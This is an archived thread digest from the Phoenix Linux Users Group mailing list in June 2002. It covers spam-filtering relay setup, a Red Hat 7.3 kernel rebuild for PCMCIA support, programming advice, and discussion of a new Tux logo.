MS-based IT Dept what can be done with some Open > Source software. I'd like suggestions on how to set up an SMTP > mail relay box and anti-spam software. I have a year or so > experience with a few Linux distros on my desktop and laptop at > home, so I'm no wizard, but I can usually find my way around. > Is this doable? We average around 6-700 SMTP emails per hour > during the day, and spike to maybe 1500 on occasion. I want to > set the box up inside the DMZ, in front of the Exchange server, > and just have it relay to and from that box. What distro? What > software? How to config? Any HOWTOs on this or other resources? > Thanks much! The biggest problem when tackling spam filtering is political, not technical. One can eliminate almost all spam by simply not allowing HTML-encoded E-mails; refusing to accept E-Mail from sites that have improper reverse lookups, are listed in one of the many dial-up lists, and/or are coming from networks like AOL (but not from one of AOL's well-publicized mail servers); and by requiring that the To: header contain the target E-Mail address (i.e. refuse Blind carbon copies). The problem lies in the fact that with each of these significant changes, you're going to have a small amount of "collateral damage." The HTML E-mail filtering alone may bite you: if colleagues outside your network use Outlook, you might end up "accidentally" killing off messages intended for delivery. How are your users going to handle this situation? Is the spam problem bad enough that the vast majority of users are willing to deal with the infrequent problems of a proper message not getting through? After you've fought all the political battles (either in your head or literally hand-to-hand with your users), you might want to consider the following: Vipul's Razor is an excellent tool that filters spam based on a rating system. It's a bit "geeky", in that it is designed for unix geeks and probably isn't the easiest to deal with. However, I have heard of it working with Sendmail and exim in an arrangement not unlike what you desire (a front-end MTA ahead of Exchange). http://sourceforge/projects/razor is the sourceforge page. Exim (my personal favorite MTA) can handle the quantity of messages you're talking about (especially on a reasonably quick machine), and has the ability to add MAPS RBL and the like into it. It also can be configured as a front-end MTA, however not quite as cleanly as qmail or sendmail. I've done qmail as a front-end mail router/filter. It does work well for that functionality as well. If you're interested, mail me offlist and I'll see if I can find recipies for anti-spam for qmail (this was a responsibility of mine at a former employer). -Fedl From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 22:49:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (Raymond Cantwell) Date: Thu, 20 Jun 2002 15:49:47 -0700 Subject: Plug Certs? Message-ID: <3D125C0B.4070402@qwest.net> Hey all, Just a mindless musing maybe, but what about a PLUG mini certification for passing one of the classes that are gonna be offered. Just bouncing the idea offa yer skullz. Ray malbojia@qwest.net From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 22:53:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (Raymond Cantwell) Date: Thu, 20 Jun 2002 15:53:15 -0700 Subject: Help getting experience References: <20020620194818.80772.qmail@web10602.mail.yahoo.com> Message-ID: <3D125CDB.8030805@qwest.net> Alpha Zenon Sanchez wrote: >Here's what I'm doing, and perhaps you can do this >too. > >Pick a language...like say...Java. Get a good >algorithm book and develop some simple programs that >show these algorithms (ie sorting, searching, >recursion etc...). Develop small applets to show on a >job interview. > >Along with these applets, write up a diagram and >pseudocode to explain what the algoritm does. In case >of Java, draw some simple UML diagrams to show the >relationships between your classes. > > >Understanding some basic algrithm concepts helps in a >lot of ways. > >1. Algoritms exist because some programmer from the >past has solved some particular problem - you don't >have to re-invent the wheel. > >2. Understanding algoritm gives you a deeper >understanding how programming really works. >Control-flow statemetns, functions and proceedures are >related >somehow. Algorithms are a great example of how these >programming pieces fit together as a whole. > >This suggestion probably won't land you a job right >away, but you have to love programming. When you go >to an interview, they will most likely sit you down on >a computer and program something. Knowing some basic >algorithms can help. > >You can use this as 'experience.' >there are also a lot of not for profit groups that would like your volunteer work that you could use for experience also. Just a thought if you are interested email me off list @ malbojia@qwest.net > Ray >===== >Thanks, >Alpha Zenon Sanchez > >__________________________________________________ >Do You Yahoo!? >Yahoo! - Official partner of 2002 FIFA World Cup >http://fifaworldcup.yahoo.com >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 23:16:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Thu, 20 Jun 2002 16:16:36 -0700 Subject: Plug Logo Update Message-ID: <200206201616.36289.zen2now@qwest.net> I just wanted to give you guys an update on the progress of the new image. Austin is done with the complete re-draw of Tux, and i must say it is the most beautiful computer generated Tux image i have ever seen. the lines are so clean, and aliasing is non-existent on the edges and should remain that way no matter how big or small the image is. he would have already been done with it, but our CEO has slammed him with a lot of work. so hopefully by next week sometime we will have a complete vector image, and by looks of it so far, one we will all be very proud to hang across our upper torso's. :~D slr From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 23:24:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jiva DeVoe) Date: Thu, 20 Jun 2002 16:24:14 -0700 Subject: Off-topic... Message-ID: So sue me... I know there's some other Mac OSX users on here... Anyone besides me into coding on OSX? Or interested in learning about it? Email off-list since this is off topic. :) (Though it IS an Open-source Unix based OS) From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 23:01:57 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mark Phillips) Date: Thu, 20 Jun 2002 19:01:57 -0400 Subject: Need help with IRQ conflict with pcmcia network card Message-ID: <20020620230200.QLIO1131.lakemtao07.cox.net@smtp.central.cox.net> I fixed the problem by 1. setting all system devices to be plug-n-play in the bios 2. reset the config.opts to the defaults 3. uncommented the line "include port 0x1000-0x17ff" in config.opts. Pcmcia and networking now work. Mark > > From: Mark Phillips > Date: 2002/06/19 Wed PM 08:44:05 EDT> To: plug-discuss@lists.plug.phoenix.az.us > Subject: Need help with IRQ conflict with pcmcia network card > > The kernel (2.4.18) finally compiled (after 8 hours - see below) and actualy works! However, I now get an IRQ conflict with my ethernet pcmcia card! > > I get the error message > 3c589_cs RequestIRQ: Resource in use > in /var/log/messages. I added the line > module "3c589_cs" opts "irq_mask=0x2240" > to /etc/pcmcia/config.opts, but I still get the same message (based on the /etc/pcmcia/interrupts file and the bios settings, IRQ 6, 9 and 13 should be free; hence the 0x2240). My ethernet card is a 3Com 3c589D (Etherlink III) pcmcia card. > > Any brilliant (or not so brilliant) ideas will be greatly appreciated! > > Mark > > > > From: Mark Phillips > > Date: 2002/06/18 Tue PM 11:47:16 EDT> > To: plug-discuss@lists.plug.phoenix.az.us, kevin_brown@qwest.net > > Subject: Re: Re: Need Help with Redhat 7.3 Install > > > > Kevin, > > > > Thanks again for your help and for documenting this process! I should add one note to your instructions because, in my case, the first time I followed them the kernel build failed. > > > > I used the i586.config file instead of the i386, so that may be the difference. I made two changes to the i586.config file: > > > > 1. I changed CPU type to Pentium MMX (which is the processor in my Dell Inspiron 3000, and I am hoping for some improvement in performance - about 50% - 75% based on some Intel propaganda I read on the web for MMX) > > 2. I removed the pcmcia stuff as you described below. > > > > I think the build failed because one of the defaults in the i586.config file included pcmcia support for the QuickNet Internet LineJack/PhoneJack card. The error message (oops - I forgot to write it down) said the build failed due to some missing pcmcia related files. > > > > You can find this (bizarre??) card under Telephony Support. Maybe it was not included in the i386.config file?? > > > > I am rebuilding the kernel again without pcmcia support for this card, and it is still going strong (5 hours and counting). > > > > I will let you know if I find any other problems. > > > > Thanks again! > > > > Mark > > > > > > From: "Kevin Brown" > > > Date: 2002/06/17 Mon PM 07:12:36 EDT> > > To: plug-discuss@lists.plug.phoenix.az.us > > > Subject: Re: Need Help with Redhat 7.3 Install > > > > > > I gave Mark a call this morning, but thought I'd send this out to the list since > > > several people have had this issue with RH7.3 and PCMCIA support on laptops. > > > > > > To fix this requires a rebuild of the kernel and the removal of the pcmcia rpm > > > package from the system. > > > > > > rpm -e kernel-pcmcia-cs > > > > > > Grab the src.rpm for kernel-2.4.18 and the raw tar.gz for the kernel from > > > kernel.org> > > wget> > > ftp://ftp.redhat.com/pub/redhat/linux/updates/7.3/en/os/i386/SRPMS/kernel-2.4.18-4.src.rpm > > > wget ftp://ftp.kernel.org/pub/linux/kernel/v2.4/linux-2.4.18.tar.gz > > > wget> > > http://telia.dl.sourceforge.net/sourceforge/pcmcia-cs/pcmcia-cs-3.1.34.tar.gz > > > cd /usr/src> > > tar -xvzf ~/linux-2.4.18.tar.gz> > > rpm -ivh ~/kernel-2.4.18.src.rpm > > > cd /usr/src/redhat/SOURCES > > > cp kernel-config- /usr/src/linux/.config> > > > > > Alter the config of the kernel: > > > cd /usr/src/linux> > > make menuconfig> > > > > > Remove PCMCIA Support > > > General setup -> PCMCIA/CardBus support -> PCMCIA/CardBus support > > > hit n to remove it, then exit config and save the changes > > > > > > make dep && make clean && make bzImage && make modules && make modules_install > > > > > > Wait for it to finish. On my P150 this took most of the night to do. > > > > > > cd /usr/src/linux/arch/i386/boot > > > cp bzImage /boot/vmlinuz-2.4.18 > > > > > > Assuming you are using grub, edit /etc/grub.conf > > > Assuming you are using lilo, edit /etc/lilo.conf, then rerun lilo> > > > > > Easy way to edit both is to copy the config that is currently booting and rename > > > kernel it is loading. > > > > > > Reboot the system and select the recently compiled kernel. > > > > > > Now rebuild PCMCIA support. > > > > > > cd /usr/src> > > tar -xvzf ~/pcmcia-cs-3.1.34.tar.gz> > > cd pcmcia-cs-3.1.34 > > > make config && make all && make install > > > > > > You should be able to accept the defaults during make config. Once done test by > > > starting it up. > > > > > > /etc/rc.d/init.d/pcmcia start > > > > > > Hope this helps. > > > > > > > I had RH7.0 running on my laptop and I installed RH 7.3 from CDs. However, I cannot get the pcmcia services to work, so I cannot connect to my network. I have to be out of town this weekend, or I would come to the install-fest for help. > > > > > > > > If anyone is willing to spend some time with me getting my laptop up and running, please call me on my cell 602 524-0376. My work laptop was stolen from my car, so I am trying to get my old laptop upgraded and working. Since I cannot get on the 'net I am sending this email from the library, so I will not be able to respond to this email! > > > > > > > > Thanks! > > > > > > > > > > > > > > > > Mark Phillips> > > > Phillips Marketing, Inc. > > > > 480.945.0798 > > > > 480.945.9197 fax > > > > mark@phillipsmarketing.biz> > > > > > > > ________________________________________________ > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > > > > Mark Phillips> > Phillips Marketing, Inc. > > 480.945.0798 > > 480.945.9197 fax > > mark@phillipsmarketing.biz > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > Mark Phillips> Phillips Marketing, Inc. > 480.945.0798 > 480.945.9197 fax > mark@phillipsmarketing.biz > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > Mark Phillips Phillips Marketing, Inc. 480.945.0798 480.945.9197 fax mark@phillipsmarketing.biz From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 23:58:56 2002 From: plug-discuss@lists.plug.phoenix.az.us (Alpha Zenon Sanchez) Date: Thu, 20 Jun 2002 16:58:56 -0700 (PDT) Subject: Help getting experience Message-ID: <20020620235856.30797.qmail@web10601.mail.yahoo.com> This would be a question to all the programmers out there who are actually programming for a living. What would be a good 'knowledge set' for wanna-be programmers? Here is my list. Please correct me if I'm wrong, or please add to the list. I think anyone who works with computers will one-day have to look at source-code 1. Variable Types 2. Arrays (and how to manipulate them) 3. Selection Statements (if/then/select case) 4. Loops (for, next ,do while, while etc...) 5. 'Intrinsic functions ' (ie...Math.Square()--ie Java) - various String functions as well as math 6. functions - and the differences between them and proceedures 7. Algorithm development 8. Object-Oriented Programming (information hiding, polymorhism, inheritance etc..) Please add to list if necessary... ===== Thanks, Alpha Zenon Sanchez __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 00:17:52 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Thu, 20 Jun 2002 17:17:52 -0700 Subject: Apple has some big brass ones! In-Reply-To: References: Message-ID: <20020620171752.7d5ab2b2.snoogans@qwest.net> is there a quicktime plugin for mozilla? because i cant find a way to see the adds =/ On Thu, 20 Jun 2002 10:06:09 -0700 "Jeffrey Pyne" wrote: > It's actually a whole series of ads. They're testimonials from "real > people" (a writer, an artist, etc.) who hated their PCs and switched to a > Mac. You can see more of the ads at http://www.apple.com/switch/ads. I > think the campaign is pretty clever. > > ~Jeff > > On Wednesday, June 19, 2002 11:17 PM, robert jorgenson wrote: > > > i dont know if anyone has seen it yet but apple has a new > > commercial out. Its basically a guy who says hes a windows > > LAN admin talking about how muh better OSX is than windows. > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 00:26:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Thu, 20 Jun 2002 17:26:50 -0700 Subject: Plug Logo Update In-Reply-To: <200206201616.36289.zen2now@qwest.net> References: <200206201616.36289.zen2now@qwest.net> Message-ID: <200206201726.50570.zen2now@qwest.net> well austin is the man, he is done. so for all you guys and gals who are interested. you can view the image @ http://www.zen2now.com/tux/tux_wallpaper.jpg and of coarse feed back is welcome, just be nice. :~D slr On Thursday 20 June 2002 04:16 pm, slr wrote: > I just wanted to give you guys an update on the progress of the new image. > Austin is done with the complete re-draw of Tux, and i must say it is the > most beautiful computer generated Tux image i have ever seen. the lines are > so clean, and aliasing is non-existent on the edges and should remain that > way no matter how big or small the image is. he would have already been > done with it, but our CEO has slammed him with a lot of work. so hopefully > by next week sometime we will have a complete vector image, and by looks of > it so far, one we will all be very proud to hang across our upper torso's. > :~D > > slr > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 00:39:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Wyant) Date: Thu, 20 Jun 2002 17:39:48 -0700 Subject: Plug Logo Update In-Reply-To: <200206201726.50570.zen2now@qwest.net> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 is there a master format you can post? such as a PNG, PSD, etc. with layers and sprites intact? "Black holes are where God divided by zero." -- Steven Wright matt wyant | friend, gentleman, scholar zanfar@nospam.zanfar.com - -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of slr Sent: Thursday, June 20, 2002 5:27 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Plug Logo Update well austin is the man, he is done. so for all you guys and gals who are interested. you can view the image @ http://www.zen2now.com/tux/tux_wallpaper.jpg and of coarse feed back is welcome, just be nice. :~D slr On Thursday 20 June 2002 04:16 pm, slr wrote: > I just wanted to give you guys an update on the progress of the new > image. Austin is done with the complete re-draw of Tux, and i must > say it is the most beautiful computer generated Tux image i have > ever seen. the lines are so clean, and aliasing is non-existent on > the edges and should remain that way no matter how big or small the > image is. he would have already been done with it, but our CEO has > slammed him with a lot of work. so hopefully by next week sometime > we will have a complete vector image, and by looks of it so far, > one we will all be very proud to hang across our upper torso's. :~D > > slr > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > doesn't post to the list quickly and you use Netscape to write > mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use iQA/AwUBPRJ11I4p6zlv2o83EQJlBACg9QPRRwpUtFagsZmx+4ohqId7Or4An03Z NHVf8BG+YOR87OAQxXS7VtaB =rRqv -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 00:58:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike) Date: Thu, 20 Jun 2002 19:58:49 -0500 Subject: Plug Logo Update In-Reply-To: <200206201726.50570.zen2now@qwest.net>; from zen2now@qwest.net on Thu, Jun 20, 2002 at 05:26:50PM -0700 References: <200206201616.36289.zen2now@qwest.net> <200206201726.50570.zen2now@qwest.net> Message-ID: <20020620195849.A94552@lilly.csoft.net> BEAUTIFUL :-) When can I pick up a t-shirt? :-) On Thu, Jun 20, 2002 at 05:26:50PM -0700, slr wrote: well austin is the man, he is done. so for all you guys and gals who are interested. you can view the image @ http://www.zen2now.com/tux/tux_wallpaper.jpg and of coarse feed back is welcome, just be nice. :~D slr On Thursday 20 June 2002 04:16 pm, slr wrote: > I just wanted to give you guys an update on the progress of the new image. > Austin is done with the complete re-draw of Tux, and i must say it is the > most beautiful computer generated Tux image i have ever seen. the lines are > so clean, and aliasing is non-existent on the edges and should remain that > way no matter how big or small the image is. he would have already been > done with it, but our CEO has slammed him with a lot of work. so hopefully > by next week sometime we will have a complete vector image, and by looks of > it so far, one we will all be very proud to hang across our upper torso's. > :~D > > slr > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 01:28:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (Paul Dickson) Date: Thu, 20 Jun 2002 18:28:01 -0700 Subject: Gnucash 1.6.6 In-Reply-To: <200206190037.18890.plug@the-arcanum.org> References: <200206190037.18890.plug@the-arcanum.org> Message-ID: <20020620182801.73f0e53e.dickson@permanentmail.com> On Wed, 19 Jun 2002 00:37:18 -0700, Nathan England wrote: > Has anyone built gnucash 1.6.6 ? > I built it tonight and everything went smooth, but when I try to load it, it > says slib is missing and I may need to create a symlink to slib in my guile > directory. > My guile is in /usr/share/guile > Slib is in /usr/share/guile/1.4/slib with a symlink to /usr/share/guile/slib > > I've tried as root and my user. > Anyone else have this problem? I installed 1.6.6 from the RH 7.3 RPMs (plus 2 or 3 more supporting RPMs). slib comes from the umb-scheme RPM. /usr/share/guile/slib is a symlib to /usr/share/umb-scheme/slib. slib is a standard library for Scheme, but is not part of Scheme (or so I believe from my recent reading). -Paul From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 01:34:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 20 Jun 2002 18:34:50 -0700 Subject: Plug Logo Update In-Reply-To: <200206201726.50570.zen2now@qwest.net> References: <200206201616.36289.zen2now@qwest.net> <200206201726.50570.zen2now@qwest.net> Message-ID: <200206210135.VAA15936@hostinworld6.com> If we can, we should offer that as a kde/gnome/enlightenment/etc backround at the installfest. That is excellent. On 20 Jun 2002 17:26:50 -0700, slr wrote: > well austin is the man, he is done. so for all you guys and gals who are > interested. you can view the image @ > > http://www.zen2now.com/tux/tux_wallpaper.jpg > > and of coarse feed back is welcome, just be nice. :~D > > slr > > On Thursday 20 June 2002 04:16 pm, slr wrote: > > I just wanted to give you guys an update on the progress of the new image. > > Austin is done with the complete re-draw of Tux, and i must say it is the > > most beautiful computer generated Tux image i have ever seen. the lines are > > so clean, and aliasing is non-existent on the edges and should remain that > > way no matter how big or small the image is. he would have already been > > done with it, but our CEO has slammed him with a lot of work. so hopefully > > by next week sometime we will have a complete vector image, and by looks of > > it so far, one we will all be very proud to hang across our upper torso's. > > :~D > > > > slr > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 02:05:03 2002 From: plug-discuss@lists.plug.phoenix.az.us (Voltage Spike) Date: Thu, 20 Jun 2002 19:05:03 -0700 Subject: Apple has some big brass ones! In-Reply-To: <20020620171752.7d5ab2b2.snoogans@qwest.net> References: <20020620171752.7d5ab2b2.snoogans@qwest.net> Message-ID: <200206201905.08047.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Thursday 20 June 2002 17:17, robert jorgenson wrote: > is there a quicktime plugin for mozilla? because i cant find a way to see > the adds =/ You could always try xine (http://xine.sourceforge.net/). They claim to have (limited) Sorenson support, now. - -- Voltage Spike ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9EonSpNoctRtUIRQRAn/dAJ9biK3I3aAsClTjUz66CqdWfY+mFwCggb6J hiblLdSbjjhgfrEmzspfrrs= =Rmzt -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 02:20:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Thu, 20 Jun 2002 22:20:21 -0400 Subject: Help getting experience References: <20020620235856.30797.qmail@web10601.mail.yahoo.com> Message-ID: <3D128D65.C0DC64E9@georgetoft.com> 9. How to use properties files, and secure them from prying eyes. 10. How to avoid buffer overruns and buffer underruns. 11. How to idiot check user input. 12. How to conduct boundary tests. 13. Write code assuming multiple instances of the app are running concurrently. 14. How to avoid deadlocks on files and database records. 15. How to connect to remote services. 16. How to build relational database data models and issue SQL statements, up to 3rd normal form. 17. Learn how to hardcode nothing that could possibly change (box names, user id's, domain names, etc). 18. Understand ACL's - solving your database access problems by sticking an anonymous ACL on it is not a viable solution. 19. Document your code before/during duild, because you won't have time (or energy) to go back later. Then the poor sap that follows you will look at your crappy code and spin his wheels trying to figure out what you did. And now for the soft science: 20. If you don't understand the requirement, ask. Don't make an assumption, because, eventually, you will be wrong, and then you have to explain to the customer (or the business group) why you are a moron and can't read English and build a product to written specifications. 21. Have your piers review your code. Take criticism. Realize that as a monopoly (only person providing code), your code sucks. Only with pier review can you grow and build good code. Bonus: Figure out the difference between: if (a == "something") { blah } and if (a.equals("something")) { blah } (hint: one works, the other doesn't - both compile without error) Just a few thoughts off the top of my head. Regards, George Alpha Zenon Sanchez wrote: > > This would be a question to all the programmers out > there who are actually programming for a living. > > What would be a good 'knowledge set' for wanna-be > programmers? Here is my list. Please correct me if > I'm wrong, or please add to the list. I think anyone > who works with computers will one-day have to look at > source-code > > 1. Variable Types > 2. Arrays (and how to manipulate them) > 3. Selection Statements (if/then/select case) > 4. Loops (for, next ,do while, while etc...) > 5. 'Intrinsic functions ' (ie...Math.Square()--ie > Java) > - various String functions as well as math > 6. functions - and the differences between them and > proceedures > 7. Algorithm development > 8. Object-Oriented Programming > (information hiding, polymorhism, inheritance > etc..) > > Please add to list if necessary... > > ===== > Thanks, > Alpha Zenon Sanchez > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- If you feel you have received a virus from me, please read http://www.georgetoft.com/virus.html because it wasn't me! -- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 02:25:30 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Thu, 20 Jun 2002 22:25:30 -0400 Subject: Plug Logo Update Message-ID: It is beautiful, but... The saguaro cactus is very well known and both easily recognized and automatically associated with Arizona. I think it is a mistake to change the cacti in the logo to some other species. I would like to see it as majestic saguaro cacti so our logo graphically announces our location in Arizona. Alan On Thu, 20 Jun 2002 17:26:50 -0700 slr wrote: well austin is the man, he is done. so for all you guys and gals who are interested. you can view the image @ http://www.zen2now.com/tux/tux_wallpaper.jpg and of coarse feed back is welcome, just be nice. :~D slr On Thursday 20 June 2002 04:16 pm, slr wrote: > I just wanted to give you guys an update on the progress of the new image. > Austin is done with the complete re-draw of Tux, and i must say it is the > most beautiful computer generated Tux image i have ever seen. the lines are > so clean, and aliasing is non-existent on the edges and should remain that > way no matter how big or small the image is. he would have already been > done with it, but our CEO has slammed him with a lot of work. so hopefully > by next week sometime we will have a complete vector image, and by looks of > it so far, one we will all be very proud to hang across our upper torso's. > :~D > > slr > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 02:26:52 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Thu, 20 Jun 2002 22:26:52 -0400 Subject: Off-topic... Message-ID: We talk about *BSD often enough, why not OSX? Alan PS Welcome back, Jiva. On Thu, 20 Jun 2002 16:24:14 -0700 Jiva DeVoe wrote: So sue me... I know there's some other Mac OSX users on here... Anyone besides me into coding on OSX? Or interested in learning about it? Email off-list since this is off topic. :) (Though it IS an Open-source Unix based OS) ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 02:48:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (bob smith) Date: Thu, 20 Jun 2002 19:48:11 -0700 (PDT) Subject: Plug Logo Update In-Reply-To: <200206201726.50570.zen2now@qwest.net> Message-ID: <20020621024811.23743.qmail@web13403.mail.yahoo.com> --- slr wrote: > well austin is the man, he is done. so for all you > guys and gals who are > interested. you can view the image @ > > http://www.zen2now.com/tux/tux_wallpaper.jpg > > and of coarse feed back is welcome, just be nice. > :~D > > slr > > On Thursday 20 June 2002 04:16 pm, slr wrote: > > I just wanted to give you guys an update on the > progress of the new image. > > Austin is done with the complete re-draw of Tux, > and i must say it is the > > most beautiful computer generated Tux image i have > ever seen. the lines are > > so clean, and aliasing is non-existent on the > edges and should remain that > > way no matter how big or small the image is. he > would have already been > > done with it, but our CEO has slammed him with a > lot of work. so hopefully > > by next week sometime we will have a complete > vector image, and by looks of > > it so far, one we will all be very proud to hang > across our upper torso's. > > :~D > > > > slr That is really slick. The only thing that I see, and maybe I might be wrong on this, is that it says "Phoenix Linux User Group". Should it be "Phoenix Linux Users Group". Missing an S? __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 02:55:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (Paul Dickson) Date: Thu, 20 Jun 2002 19:55:40 -0700 Subject: Gnucash 1.6.6 In-Reply-To: <20020620182801.73f0e53e.dickson@permanentmail.com> References: <200206190037.18890.plug@the-arcanum.org> <20020620182801.73f0e53e.dickson@permanentmail.com> Message-ID: <20020620195540.02e0d161.dickson@permanentmail.com> On Thu, 20 Jun 2002 18:28:01 -0700, Paul Dickson wrote: > slib comes from the umb-scheme RPM. /usr/share/guile/slib is a symlib to > /usr/share/umb-scheme/slib. slib is a standard library for Scheme, but is > not part of Scheme (or so I believe from my recent reading). You can also go to http://www.swiss.ai.mit.edu/~jaffer/SLIB.html and download the latest version. -Paul From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 03:08:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) 